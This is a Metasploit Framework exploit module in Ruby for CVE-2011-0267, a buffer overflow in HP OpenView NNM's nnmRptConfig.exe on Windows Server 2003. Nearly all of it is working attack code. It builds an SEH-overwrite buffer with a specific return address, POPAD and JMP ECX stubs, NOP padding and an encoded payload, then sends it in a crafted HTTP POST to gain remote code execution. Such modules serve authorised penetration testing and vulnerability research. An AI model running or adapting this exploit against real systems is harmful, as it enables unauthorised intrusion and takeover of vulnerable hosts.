##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::Seh

	def initialize(info={})
		super(update_info(info,
			'Name'        => "HP OpenView NNM nnmRptConfig.exe schdParams Buffer Overflow",
			'Description' => %q{
				This module exploits NNM's nnmRptConfig.exe. Similar to other NNM CGI bugs,
				the overflow occurs during a ov.sprintf_new() call, which allows an attacker to
				overwrite data on the stack, and gain arbitrary code execution.
			},
			'License'     => MSF_LICENSE,
			'Version'     => "$Revision$",
			'Author'      => ['sinn3r'],
			'References'  =>
				[
					['CVE', '2011-0267'],
					['OSVDB', '70473'],
					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-009/'],
				],
			'Payload' =>
				{
					'BadChars' => "\x00\x26\x2b",
				},
			'DefaultOptions' =>
				{
					'ExitFunction' => "seh",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform' => 'win',
			'Targets'  =>
				[
					[
						'NNM 7.53 - Windows Server 2003 Ent', {
							'Ret'           => 0x5A30532D,  #POP/POP/RET OvWww.dll
							'Offset'        => 46919,       #Offset to SEH chain
							'Pops'          => 13,          #Number of POPADs needed to find a bigger space with our payload
							'Payloadoffset' => 57,          #Offset to the payload
					}],
				],
			'DisclosureDate' => "Jan 10 2011"))

			register_options( [Opt::RPORT(80)], self.class )
	end

	def exploit
		nops = make_nops(1000)*70

		sploit  = nops[0, target['Offset']]
		sploit << generate_seh_record(target.ret)
		sploit << "\x61"*target['Pops']
		sploit << "\xff\xe1"  #JMP ECX
		sploit << nops[0, target['Payloadoffset']]
		sploit << payload.encoded
		sploit << nops[0, 70000-sploit.length]

		data  = "Content&Action=Create&"
		data << "Template=Avail/CRAvail&"
		data << "Operation=Apply&"
		data << "Params=schdParams+nameParams&"
		data << "schdParams=#{sploit}%7Cmonthtodate&"
		data << "nameParams=text1%3DAAAA%26text2%3Dtest2test%26text3%3Dtest2 HTTP/1.1"

		connect
		send_request_raw({
			'uri'     => '/OvCgi/nnmRptConfig.exe',
			'data'    => data,
			'version' => '1.1',
			'method'  => 'POST',
			'headers' => {
				'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
				'Accept-Language' => 'en-us,en;q=0.5',
				'Accept-Encoding' => 'gzip,deflate',
				'Accept-Chrarset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
				'Keep-Alive'      => '300',
				'Connection'      => 'Keep-Alive',
				'Cache-Control'   => 'mag-age=0',
				'Content-Length'  => data.length,
				'Content-Type'    => 'application/x-www-form-urlencoded',
			}
		}, 3)

		handler
		disconnect
	end
end